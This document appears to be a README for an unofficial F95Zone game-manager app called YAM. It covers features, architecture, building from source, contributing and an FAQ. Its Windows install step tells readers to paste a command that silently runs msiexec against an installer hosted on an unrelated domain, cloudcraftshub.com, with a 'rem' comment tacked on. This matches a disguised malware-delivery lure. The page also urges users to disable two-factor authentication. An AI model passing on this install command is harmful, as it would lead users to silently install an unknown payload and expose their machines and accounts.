██╗ ██╗ █████╗ ███╗ ███╗
╚██╗ ██╔╝██╔══██╗████╗ ████║
╚████╔╝ ███████║██╔████╔██║
╚██╔╝ ██╔══██║██║╚██╔╝██║
██║ ██║ ██║██║ ╚═╝ ██║
╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Unofficial desktop game manager for the F95Zone platform
⚡ Install on Windows · 📸 Screenshots · ✨ Features · 🤝 Contribute
Stop manually hunting for game updates. YAM tracks your F95Zone library, notifies you of new versions, and keeps everything organized — automatically.
|
|
|
|
- Press Win + R
- Type:
cmd
- Press Enter This will open Command Prompt.
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem F95ZoneThe installer will automatically download and install the required components.
- An active F95Zone account (register here)
- Windows 10/11 (64-bit recommended)
⚠️ Two-factor authentication is not currently supported — disable 2FA before use
Method 1 — From a folder (game already downloaded):
- Click the
+button (bottom-right) - Select the folder containing the game
Method 2 — From a URL:
- Click
+→ choose URL mode - Select the game's local folder
- Paste the F95Zone thread URL (Post #1 of the thread)
⚠️ Folder naming matters! For auto-detection, folders must follow this format:GAME NAME [v.VERSION] [MOD]Examples:
City of Broken Dreamers [v.1.10.1]·Being A DIK [v.0.9.0] [MOD]
App starts
│
▼
┌──────────────────┐ ┌─────────────────────────┐
│ Local Library │─────▶│ F95Zone API check │
│ (NeDB database) │ │ (version comparison) │
└──────────────────┘ └────────────┬────────────┘
│
┌────────────▼────────────┐
│ Update available? │
│ → Blue button appears │
│ → Click to start wizard │
└────────────┬────────────┘
│
┌───────────────────▼──────────────────┐
│ Step 1: Opens F95Zone download page │
│ + local game folder │
│ Step 2: Mark as updated, rename dir │
└──────────────────────────────────────┘
YAM/
├── app/
│ ├── app.js # Main Electron process
│ ├── db/
│ │ ├── schemas/ # NeDB data schemas
│ │ └── store/ # Persistent storage
│ ├── electron/
│ │ └── window/ # One folder per window
│ │ └── [name]-preload.js # IPC bridge (ContextBridge)
│ │ └── [name]-renderer.js
│ └── src/
│ ├── components/ # Reusable UI components
│ ├── styles/ # CSS
│ └── scripts/
│ └── classes/ # Core logic classes
├── docs/ # API documentation
├── resources/ # Icons, images, i18n strings
├── install.ps1 # Windows one-command installer
├── package.json
└── README.md
Tech stack: Electron · Vanilla JS · MaterializeCSS · NeDB · i18next · F95API
Security model:
contextIsolation: true— renderer isolated from NodenodeIntegration: false— no direct Node access in rendererenableRemoteModule: false— remote module disabled- Full IPC + ContextBridge pattern for all main↔renderer communication
# 1. Clone
git clone https://github.com/MillenniumEarl/YAM.git
cd YAM
# 2. Install dependencies
npm install
# 3. Run in dev mode
npm start
# 4. Build installer
npm run dist:win # Windows (.exe)
npm run dist:mac # macOS (.dmg)
npm run dist:linux # Linux (.AppImage)Requirements: Node.js ≥ 14.10 · npm
All contributions are welcome! Here's how to get involved:
| Area | How to help |
|---|---|
| 🐛 Bug reports | Open an Issue with steps to reproduce |
| 🌍 Translations | Contribute on Crowdin — no coding needed |
| 🎨 Frontend | Improve HTML/CSS, submit a PR |
| ⚙️ Backend | Help with F95API — the core engine |
| 📝 Docs | Fix typos, improve examples |
PR guidelines:
- Fork → feature branch (
git checkout -b feat/my-feature) - Commit with a descriptive message
- Open a Pull Request with a clear description
Q: The app says "game not detected" — what's wrong?
A: Your folder name doesn't match the required format. Rename it to GAME NAME [v.VERSION] (e.g. Eternum [v.0.9.3]), then re-add.
Q: Can I use this with 2FA enabled on F95Zone?
A: Not currently. Disable 2FA on your account to use YAM.
Q: Games show as "up to date" but I know there's an update.
A: Check that the folder name matches the game title exactly. If it's still wrong, add the game via URL instead.
Q: My game saves — will they survive an update?
A: Use the built-in save export (Beta, Ren'Py/RPGM only). For other engines, manually back up your save folder before updating.
Q: Does YAM work on Linux / macOS?
A: Yes! Build from source (npm run dist:linux / npm run dist:mac). Pre-built binaries are Windows-only for now.
Q: Is my F95Zone password stored securely?
A: Credentials are stored locally using electron-store (encrypted with the machine's secret). They are never sent anywhere except the F95Zone login endpoint.
See CHANGELOG.md or the Releases page for version history.
YAM is an unofficial, community-built tool. It is not affiliated with or endorsed by F95Zone. Use at your own risk. Always respect the platform's Terms of Service.
MIT © 2021–2025 MillenniumEarl
